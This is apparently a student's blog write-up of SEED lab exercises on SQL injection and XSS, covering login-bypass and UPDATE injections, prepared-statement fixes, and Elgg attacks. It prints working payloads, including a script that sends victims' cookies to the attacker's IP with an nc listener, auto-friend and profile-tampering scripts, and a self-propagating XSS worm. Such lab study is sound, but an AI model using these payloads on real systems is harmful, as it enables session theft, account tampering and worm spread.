20242942 2024-2025-2《网络攻防实践》实验十

1.实践内容

一、SEED SQL注入攻击与防御实验

我们已经创建了一个Web应用程序,并将其托管在 www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:

熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

SQL对抗:修复上述SQL注入攻击漏洞。

二、SEED XSS跨站脚本攻击实验(Elgg)

为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。

发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

弹窗显示cookie信息:将cookie信息显示。

窃取受害者的cookies:将cookie发送给攻击者。

成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

编写XSS蠕虫。

对抗XSS攻击。

2.实践过程

根据老师建议配置新的seedUbuntu环境,点击https://seedsecuritylabs.org/lab_env.html链接,我下载的DigitalOcean。

748169ebdccdf5b4fb72d31f749b4cef

下载好之后,在VMwar新建一个虚拟机,按照之前实验一的步骤来安装就可以,磁盘选择SEEDUbuntu-16.04-32bit.vmdk

d5c7da166c7b59d498ccbab8b2584ac2

mysql -u root -p  #-u root: 指定要使用的用户名,这里是 root 用户。-p: 表示将提示我们输入密码来验证用户身份。在输入命令后,系统会提示您输入密码,然后按回车键确认。
use Users;  #use 后面跟着数据库名称,表示进入该数据库。
show tables;  #显示当前数据库中的所有表格(或称为数据表)。select * from credential;  #从名为 credential 的表格中检索所有的行和列,并将它们作为结果返回。select * from credential where Name='Alice';   #从名为 credential 的表格中检索所有 Name 列的值等于 'Alice' 的行,并将它们作为结果返回。

先提权,按要求设置主机名为zyl,在SEED Ubuntu中输入命令mysql -u root -p,回车,输入密码seedubuntu登录数据库。

1adc608025854700b9225e00d6172195

输入命令use Users;查询Users数据库中的数据表,并使用命令读取数据表中的字段,每行分别输入回车执行,如下图所示。

show tables;        
select * from credential;

e45d149225ac63cd5ff116e75d6c8073

7ff9a86e61c989cbdad9829f22fe609b

打开链接www.SEEDLabSQLInjection.com。

ee144c244625156ecfaa226a614a22b0

单击f12。可以找到,该网页的登录方式为账号密码以GET的方式给了一个叫unsafe_home.php的文件进行验证。

ad876854baba8b518a77f39d1e50740a

打开终端输入nano /var/www/SQLInjection/unsafe_home.php查看该文件来获得具体的登录验证方式

f7aed04fb12bb68cdd46829387fb59ae

该文件验证的方式是通过 加载数据库信息 ,使用select语句 查询 是否有该用户和对应密码。显然只要输入任意一个存在于数据库中的账号名字后面加上' #后上传这个语句,本来功能正常的select语句将会 注释掉验证密码的半句,从而绕过验证,实现只用用户名登录 。输入入Admin' #作为账号,不输入密码登录试试

d794da90d3788d18449ab0b7a743f1e4

ea743ca357092e059a6ab619e2331d93

成功登录成功,说明上述分析没有问题,同理输入一个员工Alice的名字而不输入密码,也可以绕过密码验证来查看Alice的个人信息。这是一个典型的sql注入

4ed6060e4cce0193d8aaa9c1268ca2d8

对表中的元素进行修改
修改Admin的工资,目前是400000,单击f12查看页面代码。用同样的方法,可以看到这一次使用的文件是unsafe_edit_backend.php,同样也是使用get方法。(这里要注意,出现了一个问题,就是屏幕太小,显示不出来 Edit Profit 这个选项,解决方法请看下文遇到的困难和解决方法)

55a97d1f0c8ddfb9cf9d2640515afecc

bc398559f9c2c3ca39d7bfd7f51d8794

在终端输入nano /var/www/SQLInjection/unsafe_edit_backend.php查看文件

a0b5a1c3f6917e254b71878ccdfee8de

可以看到,该文件中使用update语句来更新内容条目。因此可以在原框输入',Salary='2942' where Name='Admin';#,将他的工资改为2942(本人学号),可以看到成功通过注入修改了他的工资,原理与上相同。

25822c5046b472700103459793f1b710

f027d938255328ad7727c971d4a3e802

接下来尝试更改sql语句来 防止sql注入
对unsafe_home.php文件中更改sql语句为:$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password From credential WHERE name= ? and Password=?;"); $sql->bind_param("ss",$input_uname,$hashed_pwd);

0e930d42688e90d0e36faeaeb390ee95

对unsafe_edit_backend.php文件中更改sql语句为:$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

153feb726eb7ae0ed276431da6dc0698

可以看到不能用原先的Alice’;#登录了,上述防止sql注入成功保护

2d0c3c46f9857dfa2255ed663ddc162c

实验二:XSS跨站脚本攻击实验

用户名 密码
Alice seedalice
Boby seedboby
Samy seedsamy
Admin seedelgg

再火狐浏览器中打开http://www.xsslabelgg.com/,用账号alice和密码seedalice登录。

daf8478ccf3f651a6164ab9c47bc4683

点进主页,在Brief description处写入<script>alert("20242942zyl");</script>,发现弹出窗口显示20242942zyl

c5369bb84661f122dfd0ec4fd8986aa2

6ef1cf1fad47b2da98e040ed7affbd75

每次进入这个界面都会弹窗,将Brief description处的内容换成<script> alert(document.cookie);</script>,再次保存提交,能成功得到网页的cookie。

e230e505e7d2130c10d8305a2bbe560e

接下来我们要通过反射式的XSS来远程获取cookie。 先键入ifconfig查看本机ip,ip为 192.168.200.136

将Brief description处的内容换成<script>document.write('<img src=http://192.168.200.136:1921?c=' + escape(document.cookie) + '>');</script>,然后我们去终端输入nc -l 1921 -v开启端口监听。然后在网页上保存,这里我开始用的5555端口,监听失败了,于是换成了1921

c8d0ac7819bd9515d0a5f0ce454fd3f4

2424d945d5d826f5fddc552dac88d3cf

可以看到已经拦截到了cookie信息。

接下来我们要 以受害者朋友的身份来攻击。 将鼠标悬停在boby主页的add friend上,按F12可以查看到可以看到下方有一个请求代码,这说明了要向http://www.xsslabelgg.com/action/friends/add发送一个请求,并且附带了id,时间戳和token三个参数.

967d9663fcb2dfdef478fc77fb991dae

来到Alice的edit profile处,在edit html模式下往about me中填写如下代码:

<script type="text/javascript">
window.onload = function () {
    var Ajax = null;
    var ts = "&amp;__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&amp;__elgg_token=" + elgg.security.token.__elgg_token;

  	var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; 
  	Ajax = new XMLHttpRequest();
  	Ajax.open("GET", sendurl, true);
  	Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
  	Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
  	Ajax.send();

}
</script>

1d1350852eb780673fbcb46d724e40be

保存之后访问boby主页再回来可以看到已经 越过验证直接添加boby为好友 ,甚至访问自己的主页还能添加自己为好友,它的原理是构造了一个XMLHttpRequest对象,以GET方式向添加好友的URL发送请求,由于构造的参数是对的,因此直接绕过了验证成功添加。

610822e320212e7dc9c091e9da812b75

继续在Alice的about me中修改恶意代码来修改受害人的信息进行攻击。插入恶意代码如下:

<script type="text/javascript">
window.onload = function() {
    // 获取用户会话信息
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    // 构造恶意payload
    var content = token + ts + 
        "name=" + userName + 
        "&description=<p>This have been cracked by alice.</p>" + 
        "&accesslevel[description]=2" + 
        "&briefdescription=&accesslevel[briefdescription]=2" + 
        "&location=&accesslevel[location]=2" + 
        "&interests=&accesslevel[interests]=2" + 
        "&skills=&accesslevel[skills]=2" + 
        "&contactemail=&accesslevel[contactemail]=2" + 
        "&phone=&accesslevel[phone]=2" + 
        "&mobile=&accesslevel[mobile]=2" + 
        "&website=&accesslevel[website]=2" + 
        "&twitter=&accesslevel[twitter]=2" + 
        guid;
    // 目标URL
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    // 排除特定用户(Samy)
    var samyGuid = 45;
    if(elgg.session.user.guid != samyGuid) {
        // 发送恶意请求
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

1f7440e38e2fcb5df8db9bc1d7a33dca

当保存操作后,在浏览器端访问Alice的主页,再返回自己主页时,发现“about me”部分显示已被Alice攻击。其原理主要是:先通过访问elgg.session.user对象,获取当前登录用户的用户名(name)、唯一标识符(guid)以及安全令牌(elgg.security.token)。接着,将这些获取到的用户信息和安全令牌,连同要设置的恶意内容(例如description=<p>This have been cracked by alice.</p>)一起拼接成一个POST请求的参数字符串。这些参数模拟了正常用户在编辑个人资料时提交的数据格式。最后,利用XMLHttpRequest对象向服务器发送POST请求,目标URL是个人资料编辑的接口(http://www.xsslabelgg.com/action/profile/edit)。请求中包含了构造好的恶意参数,服务器在处理该请求时,会将恶意内容保存到受害者的个人资料中。

1c91ecb1fd6f6c08dad518b77a94ab47

b97795acfd137484e233e07ff971d7d7

接下来给这个代码添加 传播 的部分,同理修改恶意代码如下:

<script id="worm" type="text/javascript">
window.onload = function() {
    // 蠕虫自复制部分
    var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
    var jsCode = document.getElementById("worm").innerHTML;
    var tailTag = "</" + "script>"; 
    var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
    // 获取用户凭证
    var userName = elgg.session.user.name;
    var guid = "&guid=" + elgg.session.user.guid;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
    // 构造感染payload
    var content = token + ts + 
        "&name=" + userName + 
        "&description=<p>20242942zyl" + wormCode + "</p>" +
        "&accesslevel[description]=2" +
        "&briefdescription=&accesslevel[briefdescription]=2" +
        "&location=&accesslevel[location]=2" +
        "&interests=&accesslevel[interests]=2" +
        "&skills=&accesslevel[skills]=2" +
        "&contactemail=&accesslevel[contactemail]=2" +
        "&phone=&accesslevel[phone]=2" +
        "&mobile=&accesslevel[mobile]=2" +
        "&website=&accesslevel[website]=2" +
        "&twitter=&accesslevel[twitter]=2" + 
        guid;
    // 目标地址
    var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
    // 排除特定用户(guid=44)
    var samyGuid = 44;
    if(elgg.session.user.guid != samyGuid) {
        // 发起感染请求
        var Ajax = new XMLHttpRequest();
        Ajax.open("POST", sendurl, true);
        Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
        Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        Ajax.send(content);
    }
}
</script>

其原理主要是先通过document.getElementById("worm").innerHTML获取当前脚本的代码内容,并将这部分内容存储到jsCode变量中。接着,分别获取脚本的头部和尾部标签,将它们分别存储在headerTagtailTag变量里。之后,将头部标签、脚本代码以及尾部标签拼接起来,形成完整的脚本内容,再对其进行URL编码,然后将编码后的结果存储在wormCode变量中。紧接着,获取一些必要的信息,如nameguid等。最后,在构造的POST请求参数中,将恶意代码(wormCode)嵌入到用户个人资料的description字段中。这样一来,当其他用户查看受害者的个人资料时,嵌入的恶意代码就会被触发并执行。

为了验证这段代码是否具有传播能力,进行了以下操作:首先清空了用户boby的“about me”字段。然后,使用boby的账户访问Alice的主页。之后,再次返回boby自己的页面,结果发现“about me”字段已经被篡改,显示出了被攻击的内容。这表明恶意代码不仅能够成功嵌入,还具备了自动传播的能力。

6aa563c6a424b834feda6fdb0df08172

接下来登录Admin,访问boby的主页。发现也被传染,证明蠕虫已经具备了传播能力

ee7ef9170208bd7a9dcf283d933130fd

登录管理员Admin的账户,点击右上角的Account–Administration进入管理界面后点击Plugins

80e479ac6ceea2b3b80c2072025a3159

并找到插件HTMLawed并点击Activate按钮激活该插件,(第二个)

de7529a821c3d0e6a12873329b2b9c86

激活后,重新进行XSS攻击实验,例如,这里重新进行修改受害者主页信息的XSS攻击,就会发现,XSS攻击已经失效。对抗XSS攻击成功,重新让Admin访问Alice,发现无法进行主页修改。

bd50c30c69e40d1eea627708cf898f4d

3.学习中遇到的问题及解决

问题1:Ubuntu的屏幕太小出问题导致实验一中本应该出现的按钮edit profile没有了,这个问题困扰我好久,我一度以为自己的环境或者虚拟机出问题了,或者是链接不对,导致没有这个按钮。

5ebe23f4c8efe239394a64b6c1697273

问题1解决方案:点击右上角的设置按钮,找到systemseting,然后点击Displays 选择一个合适的尺寸应用一下就可以,

acb65833718541e0e387952eab40b099

问题2:About me框添加js程序代码失败

问题2解决方案:需要打开About me框右上角的edit html模式,否则Visual editor模式下是无法保存js程序代码的。

问题3:在About me 中写好代码后,下拉鼠标没有保存按钮,

问题3解决方案:还是因为屏幕自适应问题,按Ctrl键+鼠标下滑,缩小网页界面,就可以找到小小小小的save按钮,我甚至还因为问题1 觉得又是我环境出了问题。

4.实践总结

这次的实验不是很难,在SQL注入实验中,通过熟悉SQL语句,成功利用Web应用漏洞,对SELECT和UPDATE语句实施SQL注入攻击,分别实现了在未知密码情况下登录和篡改员工信息。之后修复代码漏洞,增强了Web应用的SQL注入防御能力,有效阻止了SQL注入攻击。在XSS攻击实验中,利用Elgg Web应用的XSS漏洞,发布恶意消息,实现弹窗显示cookie信息、窃取受害者cookie、自动加受害者为朋友以及修改受害者信息等攻击操作,编写XSS蠕虫,使攻击在用户间传播。我学会了对抗XSS攻击的方法,提升Web应用的安全性。通过本次实验,我加深了对SQL注入和XSS攻击原理的理解,掌握了一些相应的防御技术,这些知识和技能将为之后的网络安全学习和实践提供坚实的基础。

参考资料

posted @ 2025-05-14 13:20  washiyoone  阅读(89)  评论(0)    收藏  举报